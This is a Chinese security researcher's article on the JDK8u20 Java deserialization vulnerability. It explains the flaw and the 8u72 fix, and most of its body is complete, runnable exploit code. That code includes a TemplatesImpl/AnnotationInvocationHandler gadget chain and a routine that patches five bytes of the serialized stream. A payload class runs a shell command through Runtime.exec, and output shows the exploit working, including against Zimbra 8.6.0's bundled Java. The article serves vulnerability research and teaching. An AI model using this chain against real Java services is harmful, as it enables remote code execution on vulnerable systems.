标题: JDK8u20反序列化漏洞新型PoC思路及具体实现 创建: 2020-07-23 10:39 更新: 链接: https://scz.617.cn/web/202007231039.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ Serializable接口详解 12) JDK8u20反序列化漏洞 12.0) 背景介绍 12.1) 漏洞原理 12.2) 新型PoC思路 12.4) DeserializeObject.java 12.6) JacksonExploit8u20.java 12.8) JDK8u20Exec.java 12.9) JDK8u20Exec_mini.java 12.11) 8u72-b12(2015-12-08)修补方案 12.12) ObjectInputStream.defaultDataEnd 12.12.1) 关于defaultDataEnd的简化版调用关系 ☆ 后记 ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 最近个把月被薅去逆向分析某数据库及其通信协议,征方腊徒劳无功,惟一的收获是 进一步对付编译器对除法的优化。收兵后重开Java学习之旅。 参看: 《JDK7u21反序列化漏洞》 https://scz.617.cn/web/202006081706.txt 其前言部分说了我是怎么关注到JDK8u20反序列化漏洞的,属于乱入。 初看漏洞原理,觉得很精巧,再看漏洞PoC,心里一万头羊驼踏过,这么复杂?曾经 感慨MozillaRhino是我见过的最复杂的两条利用链,然而相比JDK8u20,前者就得谦 让一下。 但是,当我细究JDK8u20原理后,判定原PoC走了弯路,把简单问题复杂化了,本文展 示新型PoC思路及具体实现。然后,MozillaRhino重登复杂度王位。 本文省略了大量Java序列化规范的细节,假设读者有这方面基础。 ☆ Serializable接口详解 12) JDK8u20反序列化漏洞 12.0) 背景介绍 JDK7u21反序列化漏洞被AnnotationInvocationHandler.readObject()中的变动修补 了。再说一遍,关于AnnotationInvocationHandler.type的检查早在7u25-b03之前就 有了,但检查命中后的处理有问题,应该接着抛异常而不是return。7u25-b03在检查 命中后接着抛异常,以此打断反序列化过程。 参[95],2015年11月Wouter Coekaerts讨论了7u25-b03之后的事,他指出配合以 java.beans.beancontext.BeanContextSupport有可能继续利用 sun.reflect.annotation.AnnotationInvocationHandler。 12.1) 漏洞原理 Wouter Coekaerts精心构造畸型序列化数据,使得针对 AnnotationInvocationHandler.type的检查被命中时所抛出的异常被 BeanContextSupport.readChildren()中的try/catch块捕获并continue。抛出前述异 常时,AnnotationInvocationHandler对象已经反序列化完成,这个对象暂时未被销 毁,后续其他反序列化过程仍可引用之,这是JDK8u20反序列化漏洞的基本思想。具 体实现时有三处利用相关的细节。 第一处细节是序列化数据中TC_CLASSDESC中可以出现本地版本class定义中不存在的 成员,这种成员照常被反序列化,但在后续环节被静默丢弃。该特性是出于class升 级后的向后兼容性考虑,比如远端class是升级版,含有新增成员。 参看: 《Java Object Serialization Specification》 3.1 The ObjectInputStream Class -------------------------------------------------------------------------- The defaultReadObject method is used to read the fields and object from the stream. It uses the class descriptor in the stream to read the fields in the canonical order by name and type from the stream. Values that appear in the stream, but not in the object, are discarded. This occurs primarily when a later version of a class has written additional fields that do not occur in the earlier version. -------------------------------------------------------------------------- 参[94],有人翻译过Java 7的序列化规范,不想看英文的可以看这个早期中文版。 Wouter Coekaerts代码中的dummy成员用到这个特性。java.lang.reflect.Proxy的 TC_CLASSDESC中本来只有一个成员h,作者在h之前插了一个新成员dummy,dummy是封 装有AnnotationInvocationHandler的BeanContextSupport实例。反序列化时, dummy先被处理,藉此生成暂未销毁的AnnotationInvocationHandler实例。h被处理 时,直接引用前述AnnotationInvocationHandler实例。作者这个想法很朴素,但我 有个更朴素的想法,不就是想让封装有AnnotationInvocationHandler的 BeanContextSupport实例先被反序列化吗?参看: 《JDK7u21反序列化漏洞》 https://scz.617.cn/web/202006081706.txt 其中两组调用关系表明,HashSet.readObject()会对HashSet中所有元素依次调用 ObjectInputStream.readObject()。光明正大地先往LinkedHashSet中插入一个封装 有AnnotationInvocationHandler的BeanContextSupport实例,原始目的不就达成了? 并不需要直接操作序列化数据添加dummy成员,相反这部分无谓地增加了复杂度。我 这想法才是符合直觉的。 第二处细节是AnnotationInvocationHandler.readObject()中抛出异常会晃点 ObjectInputStream.readSerialData(),后者有段恢复 ObjectInputStream.defaultDataEnd为false的代码被跳过了。这使得流程到达 BeanContextSupport.deserialize()时defaultDataEnd保持为true,于是其中的 ois.readInt()已不可行,会抛EOFException异常。你看defaultDataEnd的变量名, 再看EOFException的异常名,语义匹配。Wouter Coekaerts指出,将 AnnotationInvocationHandler的classDescFlags从"SC_SERIALIZABLE"改成 "SC_WRITE_METHOD | SC_SERIALIZABLE",使得 ObjectInputStream.defaultReadObject()不会将defaultDataEnd置为true,从而使 得AnnotationInvocationHandler.readObject()中抛出异常时defaultDataEnd保持为 false,最终BeanContextSupport.deserialize()中的ois.readInt()有机会成功。 为什么说有机会成功?这就是第三处细节所在。假设细节一、二已做相应处理,此时 ois.readInt()时面对的序列化数据可能是个TC_OBJECT或者TC_NULL,为了攻击顺利, 必须让ois.readInt()面对的序列化数据是TC_BLOCKDATA包裹的整型变量0。 Wouter Coekaerts构造的畸型序列化数据同时照顾到前述三处细节。参[95],看他的 代码注释即可。为了构造畸型序列化数据,Wouter Coekaerts借鉴了samikoivu的代 码,在字节流层面直接生成序列化数据,因为常规序列化API无法生成满足前述三处 细节的序列化数据。不过,第一处细节可以换种方案,以便使用常规序列化API。第 二、三处细节只能Hacking。 samikoivu是reJ的作者,以前在Oracle(Sun)工作,不知现在还在否。reJ曾经是 Java 7及之前版本上最好用的Java字节码处理工具,相当NB,还有高级玩法,比如 Java汇编级调试,我以前特喜欢用它。看作者blog,他有过未公开版本的reJ,反正 公开版本早就停止更新了。 参[96],pwntester提供了JDK8u20反序列化漏洞的攻击性PoC。他基于 Wouter Coekaerts的工作,将JDK7u21反序列化漏洞的利用链揉了进去,同样是在字 节流层面直接生成序列化数据。PoC注释很详尽,但没有序列化数据手工解码经验的 朋友看这个PoC会比较吃力。PoC中大量细节其实是标准API可以完成的,真正涉及 "畸型化"的三处细节被淹没在其他海量非畸型、常规细节中。这种搞法有点像是为了 拍死一只苍蝇而去引爆一颗核弹。 参[97],n1nty这篇可能是国内较早详述JDK8u20反序列化漏洞的文章,不爱看英文的 可以从他这篇开始。作者使用自研的SerialWriter库生成序列化数据,从文章示例看, 如果说pwntester用汇编语言达成目的,n1nty则是用C语言达成目的,这种搞法当然 比pwntester的PoC要好一些,不过仍然需要关注海量非畸型、常规细节。 参[98],haby0在Java语言层面做了一些手脚,针对性修改标准序列化流程中的某些 点,以产生畸型序列化数据。我还挺欣常他这个方案的,算是另辟蹊径。 12.2) 新型PoC思路 或许可以用BTrace之类的技术动态修改某些点以处理第二、三处细节。至于第一处细 节,如果非要使用dummy方案,可以静态修改Proxy.class增加成员,反正生成恶意数 据的上下文环境在己端,好处是可以使用标准API。这段话只是记录一下曾经的思考, 并未实施,因为有更简便、更易于理解的方案。 最终是这样干的。在7u21 PoC基础上修改,向LinkedHashSet中插入一个封装有 AnnotationInvocationHandler的BeanContextSupport实例,第一处细节满足。使用 标准API生成序列化数据,然后修改其中的字节,以满足第二、三处细节。有人可能 要吐槽,修改字节的话跟pwntester有什么区别?区别很大,海量非畸型、常规细节 都用标准API满足了,你可以用最ysoserial的方式写代码,最后要修改的字节很少很 直白,原地修改,不改变序列化数据大小,不影响其整体结构。 第二处细节,改一个字节: -------------------------------------------------------------------------- classDescFlags - 0x02 - SC_SERIALIZABLE // old classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE // new -------------------------------------------------------------------------- 第三处细节,将TC_NULL与TC_BLOCKDATA换个位置: -------------------------------------------------------------------------- TC_NULL - 0x70 // old TC_BLOCKDATA - 0x77 Length - 4 - 0x04 Contents - 0x00000000 TC_ENDBLOCKDATA - 0x78 TC_BLOCKDATA - 0x77 // new Length - 4 - 0x04 Contents - 0x00000000 TC_NULL - 0x70 TC_ENDBLOCKDATA - 0x78 -------------------------------------------------------------------------- 12.4) DeserializeObject.java 方便测试以文件形式存放的序列化数据 -------------------------------------------------------------------------- /* * javac -encoding GBK -g DeserializeObject.java */ import java.io.*; public class DeserializeObject { public static void main ( String[] argv ) throws Exception { FileInputStream fis = new FileInputStream( argv[0] ); ObjectInputStream ois = new ObjectInputStream( fis ); ois.readObject(); ois.close(); fis.close(); } } -------------------------------------------------------------------------- 12.6) JacksonExploit8u20.java 同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。区别 只是这次换个类名,用8u20编译,减少潜在麻烦。 -------------------------------------------------------------------------- /* * javac_8_20 -encoding GBK -g -XDignore.symbol.file JacksonExploit8u20.java */ import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * 必须是public,否则不能成功执行命令 */ public class JacksonExploit8u20 extends AbstractTranslet { /* * 必须是public */ public JacksonExploit8u20 () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } } /* * 必须重载这两个抽象方法,否则编译时报错 */ @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) { } @Override public void transform ( DOM document, SerializationHandler[] handler ) { } } -------------------------------------------------------------------------- 12.8) JDK8u20Exec.java -------------------------------------------------------------------------- /* * javac_8_20 -encoding GBK -g -XDignore.symbol.file JDK8u20Exec.java * java_8_20 JDK8u20Exec JacksonExploit8u20.class */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.lang.annotation.*; import java.nio.file.Files; import javax.xml.transform.Templates; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import java.beans.beancontext.BeanContextSupport; public class JDK8u20Exec { @SuppressWarnings("unchecked") private static BeanContextSupport getBeanContextSupport ( Object key, Object value ) throws Exception { BeanContextSupport bcs = new BeanContextSupport(); /* * 用反射设置private成员serializable、protected成员children,直接 * 设置父类public成员beanContextChildPeer。 */ Field serializable = BeanContextSupport.class.getDeclaredField( "serializable" ); serializable.setAccessible( true ); /* * 必须等于后面HashMap插入的元素数量 */ serializable.set( bcs, 1 ); HashMap hm = new HashMap( 1 ); hm.put( key, value ); Field children = BeanContextSupport.class.getDeclaredField( "children" ); children.setAccessible( true ); children.set( bcs, hm ); bcs.beanContextChildPeer = bcs; return( bcs ); } /* end of getBeanContextSupport */ private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); /* * 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory, * 会在TemplatesImpl.defineTransletClasses()中触发空指针引用。 */ // Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); // _tfactory.setAccessible( true ); // _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); /* * 下面这两个操作对7u21没必要 */ // Field _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" ); // _auxClasses.setAccessible( true ); // _auxClasses.set( ti, null ); // Field _class = TemplatesImpl.class.getDeclaredField( "_class" ); // _class.setAccessible( true ); // _class.set( ti, null ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { TemplatesImpl ti = getTemplatesImpl( evilclass ); /* * 不要直接在此 * * hm.put( "0DE2FF10", ti ) * * 否则后面的lhs.add( TemplatesProxy )会触发如下调用: * * HashSet.add * HashMap.put * $Proxy0.equals * AnnotationInvocationHandler.invoke * AnnotationInvocationHandler.equalsImpl * Method.invoke * TemplatesImpl.getOutputProperties * * 显然数据准备阶段不想看到这种效果 */ HashMap hm = new HashMap( 1 ); /* * AnnotationInvocationHandler不是public的,不能直接import */ Class clazz_AIH = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons_AIH = clazz_AIH.getDeclaredConstructor( Class.class, Map.class ); cons_AIH.setAccessible( true ); /* * 只要是Annotation的子接口,且是public的,就可以用于第一形参,比 * 如: * * java.lang.Override * java.lang.annotation.Documented * java.lang.annotation.Inherited * java.lang.annotation.Retention * java.lang.annotation.Target * * 用Override.class的好处在于它是"java.lang.*"中的,无需显式import */ InvocationHandler ih = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm ); /* * 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、 * newTransformer。由于getOutputProperties先出现,将来利用链上有它。 * 如果newTransformer先出现,利用链上不需要getOutputProperties。 */ Field f_type = clazz_AIH.getDeclaredField( "type" ); f_type.setAccessible( true ); /* * 将来会调用Templates.class.getDeclaredMethods() */ f_type.set( ih, Templates.class ); Templates TemplatesProxy = ( Templates )Proxy.newProxyInstance ( Templates.class.getClassLoader(), new Class[] { Templates.class }, ih ); /* * 第二形参用null,减少麻烦 */ BeanContextSupport bcs = getBeanContextSupport( ih, null ); LinkedHashSet lhs = new LinkedHashSet( 0 ); /* * 优先插入bcs,这样不必使用dummy方案 */ lhs.add( bcs ); lhs.add( ti ); lhs.add( TemplatesProxy ); /* * 原来用的是"f5a5a608"。只要字符串哈希等于0即可。 */ hm.put( "0DE2FF10", ti ); return( lhs ); } /* end of getObject */ private static int[] ComputeFailure ( int[] pattern ) { int[] failure = new int[pattern.length]; int j = 0; for ( int i = 1; i < pattern.length; i++ ) { while ( j > 0 && pattern[j] != pattern[i] ) { j = failure[j-1]; } if ( pattern[j] == pattern[i] ) { j++; } failure[i] = j; } return( failure ); } /* end of ComputeFailure */ /* * 可以使用平凡搜索,不需要这么神经 */ private static int SearchPatternWithKMP ( byte[] buf, int off, int[] pattern, int wildcard ) { int ret = -1; int[] failure = ComputeFailure( pattern ); int j = 0; if ( wildcard >= 0 && wildcard <= 0xff ) { for ( int i = off; i < buf.length; i++ ) { while ( j > 0 && (byte)pattern[j] != buf[i] ) { j = failure[j-1]; } if ( (byte)pattern[j] == buf[i] ) { j++; } if ( j == pattern.length ) { ret = i - pattern.length + 1; break; } } } else { for ( int i = off; i < buf.length; i++ ) { while ( j > 0 && pattern[j] != wildcard && (byte)pattern[j] != buf[i] ) { j = failure[j-1]; } if ( pattern[j] == wildcard || (byte)pattern[j] == buf[i] ) { j++; } if ( j == pattern.length ) { ret = i - pattern.length + 1; break; } } } return( ret ); } /* end of SearchPatternWithKMP */ private static byte[] PrivatePatch ( byte[] buf ) { /* * "sun.reflect.annotation.AnnotationInvocationHandler" * * className * Length - 50 - 0x00 32 * Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 * serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5 * classDescFlags - 0x02 - SC_SERIALIZABLE */ int[] pattern_0 = { 0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72 }; /* * TC_NULL - 0x70 * TC_BLOCKDATA - 0x77 * Length - 4 - 0x04 * Contents - 0x00000000 * TC_ENDBLOCKDATA - 0x78 */ int[] pattern_1 = { 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78 }; int off_0, off_1; /* * TC_BLOCKDATA - 0x77 * Length - 4 - 0x04 * Contents - 0x00000000 * TC_NULL - 0x70 * TC_ENDBLOCKDATA - 0x78 */ int[] patch_1 = { 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78 }; while ( true ) { /* * 对于特定的Exploit,off_0是固定值。off_1因evilclass长度而变, * 可以不用模式匹配,依赖evilclass长度调节off_1。 */ off_0 = SearchPatternWithKMP( buf, 0, pattern_0, 256 ); off_1 = SearchPatternWithKMP( buf, 0, pattern_1, 256 ); if ( -1 == off_0 || -1 == off_1 ) { break; } off_0 += pattern_0.length + 8; /* * classDescFlags - 0x02 - SC_SERIALIZABLE */ if ( buf[off_0] != 0x02 ) { break; } System.out.print ( String.format ( "off_0 = %#x\n" + "off_1 = %#x\n", off_0, off_1 ) ); /* * classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE */ buf[off_0] = 0x03; for ( int i = 0; i < patch_1.length; i++ ) { buf[off_1+i] = (byte)patch_1[i]; } break; } return( buf ); } /* end of PrivatePatch */ public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); byte[] ser = bos.toByteArray(); byte[] ser_patch = PrivatePatch( ser ); ByteArrayInputStream bis = new ByteArrayInputStream( ser_patch ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- $ java_8_20 JDK8u20Exec JacksonExploit8u20.class off_0 = 0x3e0 off_1 = 0xca9 scz is here 第一处细节自然包含在getObject()中,是不是很ysoserial?PrivatePatch()处理第 二、三处细节,总共修改5个字节,Patch内容通用、固定。是不是超乎想像的简单? 不需要陷入海量非畸型、常规细节中。 用SearchPatternWithKMP()搜索特征字节流以定位Patch点。可以用平凡搜索,不需 要SearchPatternWithKMP()这么神经,只不过是破解JEB时用过,就拿来接着用而已。 如果不太理解为什么这么搜,可以将Patch前的序列化数据转储到lhs_8u20.bin,将 Patch后的序列化数据转储到lhs_8u20_patch.bin,用SerializationDumper分别查看, 再用WinHex手工搜搜,就很好理解了。 $ fc /b lhs_8u20.bin lhs_8u20_patch.bin 000003E0: 02 03 00000CA9: 70 77 00000CAA: 77 04 00000CAB: 04 00 00000CAF: 00 70 Patch前后只有5个字节的差异。 12.9) JDK8u20Exec_mini.java 对于特定的Exploit,off_0是固定值。off_1因evilclass长度而变,可以不用模式匹 配,依赖evilclass长度调节off_1。其实不推荐mini版,只不过看mini版更容易聚焦 漏洞本身。 -------------------------------------------------------------------------- /* * javac_8_20 -encoding GBK -g -XDignore.symbol.file JDK8u20Exec_mini.java * java_8_20 JDK8u20Exec_mini JacksonExploit8u20.class * java_8_20 JDK8u20Exec_mini JacksonExploit8u20Test.class */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.lang.annotation.*; import java.nio.file.Files; import javax.xml.transform.Templates; import com.sun.org.apache.xalan.internal.xsltc.trax.*; import java.beans.beancontext.BeanContextSupport; public class JDK8u20Exec_mini { @SuppressWarnings("unchecked") private static BeanContextSupport getBeanContextSupport ( Object key, Object value ) throws Exception { BeanContextSupport bcs = new BeanContextSupport(); /* * 用反射设置private成员serializable、protected成员children,直接 * 设置父类public成员beanContextChildPeer。 */ Field serializable = BeanContextSupport.class.getDeclaredField( "serializable" ); serializable.setAccessible( true ); /* * 必须等于后面HashMap插入的元素数量 */ serializable.set( bcs, 1 ); HashMap hm = new HashMap( 1 ); hm.put( key, value ); Field children = BeanContextSupport.class.getDeclaredField( "children" ); children.setAccessible( true ); children.set( bcs, hm ); bcs.beanContextChildPeer = bcs; return( bcs ); } /* end of getBeanContextSupport */ private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception { byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() ); TemplatesImpl ti = new TemplatesImpl(); /* * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让 * _bytecodes得到执行,中途就会抛异常。 */ Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" ); _bytecodes.setAccessible( true ); _bytecodes.set( ti, new byte[][] { evilbyte } ); /* * 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory, * 会在TemplatesImpl.defineTransletClasses()中触发空指针引用。 */ // Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" ); // _tfactory.setAccessible( true ); // _tfactory.set( ti, new TransformerFactoryImpl() ); Field _name = TemplatesImpl.class.getDeclaredField( "_name" ); _name.setAccessible( true ); /* * 第二形参可以是任意字符串,比如空串,但不能是null */ _name.set( ti, "" ); /* * 下面这两个操作对7u21没必要 */ // Field _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" ); // _auxClasses.setAccessible( true ); // _auxClasses.set( ti, null ); // Field _class = TemplatesImpl.class.getDeclaredField( "_class" ); // _class.setAccessible( true ); // _class.set( ti, null ); return( ti ); } /* end of getTemplatesImpl */ /* * 返回待序列化Object */ @SuppressWarnings("unchecked") private static Object getObject ( String evilclass ) throws Exception { TemplatesImpl ti = getTemplatesImpl( evilclass ); /* * 不要直接在此 * * hm.put( "0DE2FF10", ti ) * * 否则后面的lhs.add( TemplatesProxy )会触发如下调用: * * HashSet.add * HashMap.put * $Proxy0.equals * AnnotationInvocationHandler.invoke * AnnotationInvocationHandler.equalsImpl * Method.invoke * TemplatesImpl.getOutputProperties * * 显然数据准备阶段不想看到这种效果 */ HashMap hm = new HashMap( 1 ); /* * AnnotationInvocationHandler不是public的,不能直接import */ Class clazz_AIH = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons_AIH = clazz_AIH.getDeclaredConstructor( Class.class, Map.class ); cons_AIH.setAccessible( true ); /* * 只要是Annotation的子接口,且是public的,就可以用于第一形参,比 * 如: * * java.lang.Override * java.lang.annotation.Documented * java.lang.annotation.Inherited * java.lang.annotation.Retention * java.lang.annotation.Target * * 用Override.class的好处在于它是"java.lang.*"中的,无需显式import */ InvocationHandler ih = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm ); /* * 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、 * newTransformer。由于getOutputProperties先出现,将来利用链上有它。 * 如果newTransformer先出现,利用链上不需要getOutputProperties。 */ Field f_type = clazz_AIH.getDeclaredField( "type" ); f_type.setAccessible( true ); /* * 将来会调用Templates.class.getDeclaredMethods() */ f_type.set( ih, Templates.class ); Templates TemplatesProxy = ( Templates )Proxy.newProxyInstance ( Templates.class.getClassLoader(), new Class[] { Templates.class }, ih ); /* * 第二形参用null,减少麻烦 */ BeanContextSupport bcs = getBeanContextSupport( ih, null ); LinkedHashSet lhs = new LinkedHashSet( 0 ); /* * 优先插入bcs,这样不必使用dummy方案 */ lhs.add( bcs ); lhs.add( ti ); lhs.add( TemplatesProxy ); /* * 原来用的是"f5a5a608"。只要字符串哈希等于0即可。 */ hm.put( "0DE2FF10", ti ); return( lhs ); } /* end of getObject */ private static byte[] PrivatePatch ( byte[] buf, int off_0, int off_1, int evilclasssize ) { while ( true ) { /* * classDescFlags - 0x02 - SC_SERIALIZABLE */ if ( buf[off_0] != 0x02 ) { break; } /* * TC_NULL - 0x70 * TC_BLOCKDATA - 0x77 * Length - 4 - 0x04 * Contents - 0x00000000 * TC_ENDBLOCKDATA - 0x78 */ if ( buf[off_1] != 0x70 || buf[off_1+1] != 0x77 || buf[off_1+7] != 0x78 ) { break; } System.out.print ( String.format ( "off_0 = %#x\n" + "off_1 = %#x\n", off_0, off_1 ) ); /* * classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE */ buf[off_0] = 0x03; /* * TC_BLOCKDATA - 0x77 * Length - 4 - 0x04 * Contents - 0x00000000 * TC_NULL - 0x70 * TC_ENDBLOCKDATA - 0x78 */ buf[off_1] = 0x77; buf[off_1+1] = 0x4; buf[off_1+2] = 0; buf[off_1+6] = 0x70; break; } return( buf ); } /* end of PrivatePatch */ public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); byte[] ser = bos.toByteArray(); int evilclasssize = ( int )( new File( evilclass ).length() ); /* * "sun.reflect.annotation.AnnotationInvocationHandler" * * className * Length - 50 - 0x00 32 * Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 * serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5 * classDescFlags - 0x02 - SC_SERIALIZABLE */ int off_0 = 0x3e0; /* * Array size - 1627 - 0x00 00 06 5b * * 换其他evilclass时不用调整此处,这么写只是表明1627源自最早测试用 * 的evilclass * * TC_NULL - 0x70 * TC_BLOCKDATA - 0x77 * Length - 4 - 0x04 * Contents - 0x00000000 * TC_ENDBLOCKDATA - 0x78 */ int off_1 = 0xca9 - 1627 + evilclasssize; /* * 总共Patch 5个字节,Patch内容固定 */ byte[] ser_patch = PrivatePatch( ser, off_0, off_1, evilclasssize ); ByteArrayInputStream bis = new ByteArrayInputStream( ser_patch ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- $ java_8_20 JDK8u20Exec_mini JacksonExploit8u20.class off_0 = 0x3e0 off_1 = 0xca9 scz is here $ java_8_20 JDK8u20Exec_mini JacksonExploit8u20Test.class off_0 = 0x3e0 off_1 = 0xccb Just for testing JDK8u20Exec_mini 12.11) 8u72-b12(2015-12-08)修补方案 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u72-b12/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java -------------------------------------------------------------------------- /* * sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void */ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { /* * 429行,不再调用s.defaultReadObject(),转而调用s.readFields() */ ObjectInputStream.GetField fields = s.readFields(); @SuppressWarnings("unchecked") Class t = (Class)fields.get("type", null); @SuppressWarnings("unchecked") Map streamVals = (Map)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out /* * 443行,接着抛异常 */ throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } ... } -------------------------------------------------------------------------- 从8u72-b12开始,AnnotationInvocationHandler.readObject()中不再调用 s.defaultReadObject(),转而调用s.readFields()。反序列化流程到达443行时,并 没有产生完整的AnnotationInvocationHandler实例,即使利用BeanContextSupport 捕获异常也不会改变这点,利用链被破坏。 不是说8u20之后漏洞就被修补了,是从8u72-b12开始才修补的。 Zimbra 8.6.0自带Java存在该漏洞: $ ps auwx | grep java $ /opt/zimbra/java/bin/java -version openjdk version "1.8.0-internal" OpenJDK Runtime Environment (build 1.8.0-internal-build_2014_07_29_16_56-b00) OpenJDK 64-Bit Server VM (build 25.40-b01, mixed mode) $ /opt/zimbra/java/bin/java JDK8u20Exec_mini JacksonExploit8u20Test.class off_0 = 0x3e0 off_1 = 0xccb Just for testing JDK8u20Exec_mini 12.12) ObjectInputStream.defaultDataEnd 从漏洞利用来说,已经没有可讲的了。从涉及的知识点来说,还有一个问题需要回答, ObjectInputStream.defaultDataEnd对攻击链的具体影响是啥,在何处被设置,在何 处被检查? $ java_8_20 DeserializeObject lhs_8u20.bin Exception in thread "main" java.io.EOFException at java.io.DataInputStream.readInt(DataInputStream.java:392) at java.io.ObjectInputStream$BlockDataInputStream.readInt(ObjectInputStream.java:2823) at java.io.ObjectInputStream.readInt(ObjectInputStream.java:972) at java.beans.beancontext.BeanContextSupport.deserialize(BeanContextSupport.java:931) at java.beans.beancontext.BeanContextSupport.readObject(BeanContextSupport.java:1084) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1896) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at java.util.HashSet.readObject(HashSet.java:333) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1896) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at DeserializeObject.main(DeserializeObject.java:12) java_8_20 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ DeserializeObject lhs_8u20.bin jdb_8_20 -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u20-b26/src/share/classes/java/beans/beancontext/BeanContextSupport.java 